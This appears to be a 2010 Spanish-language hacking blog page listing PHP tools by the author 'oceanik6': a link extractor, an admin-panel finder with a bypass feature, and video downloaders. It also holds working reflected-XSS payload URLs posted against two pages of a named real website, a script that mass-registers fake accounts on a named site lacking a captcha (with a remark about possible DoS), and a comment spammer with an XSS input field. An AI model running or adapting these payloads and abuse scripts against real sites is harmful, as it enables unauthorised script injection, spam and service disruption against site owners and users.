.::[«Ø·C·3·4·N·1·K·6»]::.

[PHP] Link Extractor by 0C34N1K6

Publicado el 22/02/2010 12:02:00 en Hacking Tools. Total de votos: 4 Votar

Bueh, acabo de hacer este code simplon que capaz que a alguien le sirva, no se. Como veran en el titulo, lo que hace este code es extraer los links de una web que le ingresemos, no tiene mucha ciencia.

<style>
.input
{
	width: 350px;
	font-weight: bold;
}
a
{
	color: Black;
	text-decoration: none;
	font-family: Lucida Sans;
}
a:hover
{
	color: Blue;
	text-decoration: underline;
	font-family: Lucida Sans;
}
</style>
<center>
<form method="post"><b><font face="Arial" size="5" color="Green">Link Extractor by 0C34N1K6</font><br>
<font face="Arial" size="3" color="Green">Ingresa la URL de donde quieras extraer los links</font></b><br>
<input type="text" name="url" class="input"><input type="submit" value="Extract">
<br>
<input type="checkbox" name="extract_vars">Extraer solo links con variables?
</form>
<table><td>
<?php
if (isset($_POST['url']))
{
$url=$_POST['url'];
$httpinicial=substr($url,0,7);
$http=eregi("http://",$httpinicial);
if ($http)
{
$url="$url";
}
else
{
$url="http://$url";
}
$curl=curl_init();
curl_setopt($curl, CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
$source=curl_exec($curl);
curl_close($curl);
$source=str_replace("'",'"',$source);
$i=1;
$a=1;

$urlultimochar=$url[strlen($url)-1];

if ($urlultimochar!="/")
{
$barra=explode("/",$url);
$numultimabarra=count($barra)-1;
$file=$barra[$numultimabarra];
$urlsinfile=explode($file,$url);
$url=$urlsinfile[0];
}

while($a!=0)
{
$parte1=@explode('href="',$source);
$parte2=@explode('"',$parte1[$i]);
if (strlen($parte2[0])>0)
{
$httpinicial2=substr($parte2[0],0,7);
$http2=eregi("http://",$httpinicial2);
if (!$http2)
{
$parte2[0]="$url"."$parte2[0]";
}
if (isset($_POST['extract_vars']))
{
if ($_POST['extract_vars']=="on")
{
if (eregi("=",$parte2[0]))
{
echo "<a href=".'"'.$parte2[0].'"'.">$parte2[0]</a><br>";
}
}
}
else
{
echo "<a href=".'"'.$parte2[0].'"'.">$parte2[0]</a><br>";
}
}
else
{
$a=0;
}
$i++;
}
}
?>
</td></table>
<b><font face="Arial" size="2">Coded by <a href="http://www.oceanik6.com.ar">oceanik6</a></font></b>
</center>

Comentarios: 11 | Leer comentarios

XSS en Shrek.com

Publicado el 21/02/2010 12:02:00 en Bug Report. Total de votos: 1 Votar

Son las 3am y estoy aburridisimo XD asi que no hago mas que buscar vulns, entre tantas que encuentro? 2 XSS en shrek.com :) nunca pense que una web asi tenga un error tan pt pero pero bueh, aca les dejo imagenes y los links :P

El primero, en la seccion de wallpapers

Link:
http://www.shrek.com/downloads/community/teens/wallpaper.php?jpg='><h1>XSS</h1><img

Y el segundo, en el juego pinball

Link:
http://www.shrek.com/games/pinball.php?username="><h1>XSS</h1><img

--------------------
Ow ow ow it's magic, you know
Never believe it's not so
It's magic, you know
Never believe, it's not so

Comentarios: 8 | Leer comentarios

Admin Page Finder 1.2 By 0C34N1K6

Publicado el 17/02/2010 12:02:00 en Hacking Tools. Total de votos: 12 Votar

Wiiiii al fin salio la v1.2 ^^
Bueno no habra muchos cambios pero algo es algo, espero que les guste :)

WTF is new?
[+]Ahora busca los subdominios como por ejemplo admin.web.com [Tiene un bug, si ponen localhost.com por ejemplo, no lo encuentra, pero bueh, por ahora es lo que hay XD]
[+]Try Bypass [Beta, muuuuy beta]: Prueba bypassear el panel encontrado
[+]Otro lavado de cara (CSS)
[+]Ahora podes poner una lista de paneles propia
[+]Reconoce HTTPS
[+]Los paneles pueden o no empezar con /
[+]Ahora la busqueda se hace con cURL
[+]Muestra el codigo HTTP al lado del link al panel

El Index Login Finder queda para la otra, no tenia ganas de hacerlo.

Ahora si no tengo mas ideas T.T tiren alguna ustedes ;)

Si encuentran algun bug avisen :)

Screenshot:

Video:

<title>Admin Page Finder Version 1.2 By 0C34N1K6</title>
<head>
<script>
function invisible()
{
document.getElementById("opciones").style.display="none";
document.getElementById("opciones").style.position="absolute";
}
function visible()
{
document.getElementById("opciones").style.display="block";
document.getElementById("opciones").style.position="relative";
}
function invisible_help()
{
document.getElementById("help").style.display="none";
document.getElementById("help").style.position="absolute";
}
function visible_help()
{
document.getElementById("help").style.display="block";
document.getElementById("help").style.position="relative";
}
function hidden_searching()
{
document.getElementById("searching").style.visibility="hidden";
document.getElementById("searching").style.position="relative";
}
function visible_content()
{
document.getElementById("contenido").style.display="block";
document.getElementById("contenido").style.position="relative";
}
</script>
<style>
<!--
A:link
{
	color: White;
	text-decoration: none;
	font-family: Lucida Sans
}
A:visited
{
	color: Gray;
	text-decoration: none;
	font-family: Lucida Sans
}
A:active
{
	color: Red;
	text-decoration: none;
	font-family: Lucida Sans
}
A:hover
{
	color: Yellow;
	text-decoration: underline;
	font-family: Lucida Sans
}
.input
{
	border: 2px solid Red;
	height: 35px;
	width: 350px;
	font-size: 22px;
	-moz-border-radius-bottomleft:10px;
	-moz-border-radius-bottomright:10px;
	-moz-border-radius-topleft:10px;
	-moz-border-radius-topright:10px;
	font-weight: bold;
}
.robots
{
	border: 2px solid Red;
	height: 500px;
	width: 400px;
	font-size: 22px;
	-moz-border-radius-bottomleft:15px;
	-moz-border-radius-bottomright:15px;
	-moz-border-radius-topleft:15px;
	-moz-bor...

Continúa aquí...

Comentarios: 17 | Leer comentarios

[PHP] SexoTorrent Autoregister & MuevaMueva Spammer

Publicado el 13/02/2010 12:02:00 en Hacking Tools.

Ayer hice un par de scripts para romper las bolas que, honestamente, no se para que los hice, a mi no me gusta boludear asi pero si encontrar fallos XD
Bueh, pasemos al primer code:

SexoTorrent Autoregister

<center>
<font face="Lucida Sans" size="7" color="Green">SexoTorrent.Com Autoregister</font><br>
<form method="post">
Cantidad de usuarios: <input type="text" name="num"> Nombre de usuario: <input type="text" name="username"><input type="submit" value="Go!">
</form>
</center>
<?php
if (isset($_POST['num']))
{
$num=$_POST['num'];
$userpaj=$_POST['username'];
for ($i=0;$i<$num;$i++)
{
$curl = curl_init();
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7'); 
curl_setopt($curl, CURLOPT_URL,"http://www.sexotorrent.com/main.php?modulo=new_user");
curl_setopt($curl, CURLOPT_POST,1);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_POSTFIELDS,"user=".$userpaj.$i."&pass=password&cpass=password&email=email@email.com&cemail=email@email.com&ocupacion=asd&pais=ARG&codigopostal=12345&edad=18&sexo=mucho&rubro=asd&listas=1&listas=2&acepto=1&registrar=Registrar");
curl_exec($curl);
curl_close($curl);
}
}
?>

Bien, paso a explicar, este script registra usuarios en la web http://www.sexotorrent.com, permite registrar un numero indefinido de usuarios, los cuales todos llevaran el nombre que se le asigne y el numero de usuario por ejemplo "usuariopajero1", a este le seguiria "usuariopajero2" y asi...
Esto se logra porque el registro no tiene ningun captcha.
Capaz que se pueda hacer DoS o DDos con esto, no se, no lo probe :P
[!] Busquen en Google "Torrent Porno" y vean que web sale segunda :B

Ahora el otro script:

MuevaMueva Spammer

<center>
<font size="7" color="Green" face="Lucida Sans">MuevaMueva.Com Spammer</font>
<table>
<tr>
<td>
<form method="post">
<a href="http://www.muevamueva.com/comunica/librosyforos/mensajesalapagina/index.php">Ver mensajes</a><br>
<input type="text" name="num" value="200">Numero de comentarios<br>
<input type="text" name="xss" value='"></a><h1>Spam Test</h1>'>XSS<br>
<input type="text" name="referencia" value="asd">Referencia<br>
<input type="text" name="destinatario" value="asd">Destinatario<br>
<input type="text" name="edad" value="asd">Edad<br>
&...

Continúa aquí...

Comentarios: 10 | Leer comentarios

[PHP] XHamster & TubeHentai Video Downloaders

Publicado el 10/02/2010 12:02:00 en Hacking Tools. Total de votos: 6 Votar

Para los que querian downloaders porno aca les dejo 2, uno de una pagina muuuy buena, xhamster.com, tiene videos largos :) y el otro de tubehentai.com para quienes les guste el hentai ;)
PD: El downloader de XHamster les va tirar un 403, es por el referrer, solo marquen la url denle enter y ya tienen el video :)

XHamster Video Downloader

<center>
<font size="5" color="Green" face="Lucida Sans"><b>XHamster Video Downloader</b></font><br>
<form method="post">
<font color="Green" face="Lucida Sans" size="3"><b>Ingresa la URL del video</b></font><br>
<input type="text" name="url"><input type="submit">
</form>
</center>
<?php
if (isset($_POST['url']))
{
$url=$_POST['url'];
$httpinicial=substr($url,0,7);
$http=eregi("http://",$httpinicial);
if ($http)
{
$web="$url";
}
else
{
$web="http://$url";
}
$check=@fopen("$web", "r");
if ($check)
{
fclose($check);
echo "<center><font color='Green' face='Lucida Sans' size='3'><b>Video encontrado!</b></font></center>";
$webcontent=file_get_contents($web);
$parte1=@explode("'srv': '",$webcontent);
$parte2=@explode("',",$parte1[1]);
$parte1w2=@explode("'file': '",$webcontent);
$parte2w2=@explode("',",$parte1w2[1]);
$link="$parte2[0]flv2/$parte2w2[0]";
echo "<body onload='location.href=".'"'."$link".'"'."'>";
}
else
{
echo "<center><font color='Red' face='Lucida Sans' size='3'><b>Video NO encontrado!</b></font></center>";
}
}
?>
<br><center><b><font face="Lucida Sans" color="Green" size="2">Coded by <a href="http://oceanik6.diosdelared.com">0C34N1K6</a></font></b></center>

TubeHentai Video Downloader

<title>TubeHentai Video Downloader by oceanik6</title>
<style>
<!--
A:link
{
	color: #0AA6C8;
	text-decoration: none;
	font-family: Lucida Sans
}
A:visited
{
	color: #0AA6C8;
	text-decoration: none;
	font-family: Lucida Sans
}
A:active
{
	color: #0AA6C8;
	text-decoration: none;
	font-family: Lucida Sans
}
A:hover
{
	color: #0AA6C8;
	text-decoration: underline;
	font-family: Lucida Sans
}
.input
{
	height: 30px;
	width: 350px;
	font-size: 15px;
	-moz-border-radius-bottomleft:5px;
	-moz-border-radius-bottomright:5px;
	-moz-border-radius-topleft:5px;
	-moz-border-radius-topright:5px;
	font-weight: bold;
	background-color: Navy;
	color: White;
}
.button
{
	height: 30px;
	width: 100px;
	font-size: 15px;
	color: White;
	-moz-border-radius-bottomleft:5px;
	-moz-...

Continúa aquí...

Comentarios: 11 | Leer comentarios

Ver: Siguientes 5

.::[«Ø·C·3·4·N·1·K·6»]::.

XD

Peter Capusotto! =D

Who i am?

Blogroll: 50

Perfil de oceanik6

Patrocinadores:

[PHP] Link Extractor by 0C34N1K6

XSS en Shrek.com

Admin Page Finder 1.2 By 0C34N1K6

[PHP] SexoTorrent Autoregister & MuevaMueva Spammer

[PHP] XHamster & TubeHentai Video Downloaders